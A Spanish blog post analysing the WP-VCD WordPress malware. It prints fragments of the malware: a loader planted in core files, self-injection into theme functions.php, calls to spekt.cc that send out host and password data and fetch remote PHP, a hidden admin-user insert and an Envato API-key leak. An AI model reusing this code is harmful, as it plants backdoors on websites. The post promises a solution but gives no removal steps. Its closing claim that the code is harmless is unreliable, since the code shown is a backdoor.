Skip to content

Solución a un nuevo tipo de Ataque a WordPress

WordPress con el pasar de los años se ha convertido en uno de los cms má utilizados, agrupando a miles de páginas web y llegándose a afirmar que más del 31% de los sitios subidos a la red forman parte de este sistema de gestión de contenidos. Pero sin embargo, han sido muchos los casos en los que se ha planteado la falta de protección de este hacia las cuentas asociadas, provocando la ejecución de numerosos ataques que han comprometido muchos sitios.

Desde hace unos meses han sido numerosos los reportes que afirman la presencia de códigos maliciosos generados por hackers. Uno de los más reportandos es el siguiente caso, donde detallamos como suelen proceder

Example wp-includes/post.php

:<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php [..Rest of File..]

Example ../wp-includes/wp-vcd.php

The injected wp-vcd.php file starts with a long base64 encoded string named

$install_code$install_code= 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);  $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

Este archivo inserta el código de la cadena codificada dentro de funciones .php del tema, cuidando de restablecer la fecha y hora de modificación.

Example ../wp-contents/themes/Your_Theme_Name/functions.php

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {   
    
    if (strpos($content, 'WP_V_CD') === false) {       
        $content = $install_code . $content ;       
        
        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . 
            DIRECTORY_SEPARATOR . 'functions.php', $content); 
            
        touch( $themes . DIRECTORY_SEPARATOR . $_ . 
        DIRECTORY_SEPARATOR . 'functions.php' , $time );   
    } 
    else { 
        $ping = false; 
    }
}

Luego rellena de forma remota una base de datos / matriz de nombres de host y contraseñas de las inyecciones de código a través de test.php y descarga el contenido de un archivo txt remoto dentro de class.wp.php

if ($ping) { 
    $content = @file_get_contents(
    ‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] 
    . ‘&password=’ . $install_hash);
    
    @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, 
    file_get_contents(‘http://www.spekt.cc/admin.txt')); 
}
if ($ping2) { 
    $content = @file_get_contents(‘http://www.spekt.cc/test.php?
    host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . 
    $install_hash); 
    
    @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, 
    file_get_contents(‘http://www.spekt.cc/admin.txt'));
    //echo ABSPATH . ‘wp-includes/class.wp.php’; 
}

Example ../wp-includes/class.wp.php

class.wp.php intenta insertar un usuario dentro de la db wp

$wpdb->query(
    “INSERT INTO $wpdb->users(
        `ID`, `user_login`, `user_pass`, `user_nicename`, 
        `user_email`, `user_url`, `user_registered`, 
        `user_activation_key`, `user_status`,
        `display_name`) 
    VALUES (‘100011111’, ‘100011111’,
    ‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’, 
    ‘spekt@spekt.cc’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’, 
    ‘100010010’)”
);

Y se mete con una clave de la API del Kit de herramientas de WordPress de Envato Market, probablemente como una forma de actualizar temas.

if ( isset($_GET[‘key’]) ) { 
    $options = get_option( EWPT_PLUGIN_SLUG ); 
    
    echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] . 
    ‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’; 
    
    echo esc_html( envato_market()->get_option( ‘token’ ) ); 
    
    echo ‘</center></h2>’; 
}

Luego inserta el contenido de otro archivo txt remoto, codecxc.txt dentro del directorio temporal de php

function wp_temp_setupx($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
    $handle = fopen($tmpfname, “w+”);
    fwrite($handle, “<?php\n” . $phpCode);
    fclose($handle);
    include $tmpfname; unlink($tmpfname);
    return get_defined_vars();
}
'''

functions.php

El b64 se inyecta en la parte superior de functions.php, y busca en el wp db publicaciones y enlaces para sustituirlos por contenido nuevo.

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)

[...]

$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);

[...]

$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);

[...]

$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

El contenido html está en parte presente dentro del php, y en parte se descarga de forma remota, con la ayuda del código remotoX.php

if ( ! function_exists( 'wp_temp_setup' ) ) {
    $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
    
    if($tmpcontent = @file_get_contents(
    "http://www.spekt.cc/codeX.php?i=".$path))
}

Luego de esto, los inconvenientes deberían quedar resueltos, aún así que los códigos no son peligrosos, pero entendemos que atentan contra el correcto desempeño del sitio web.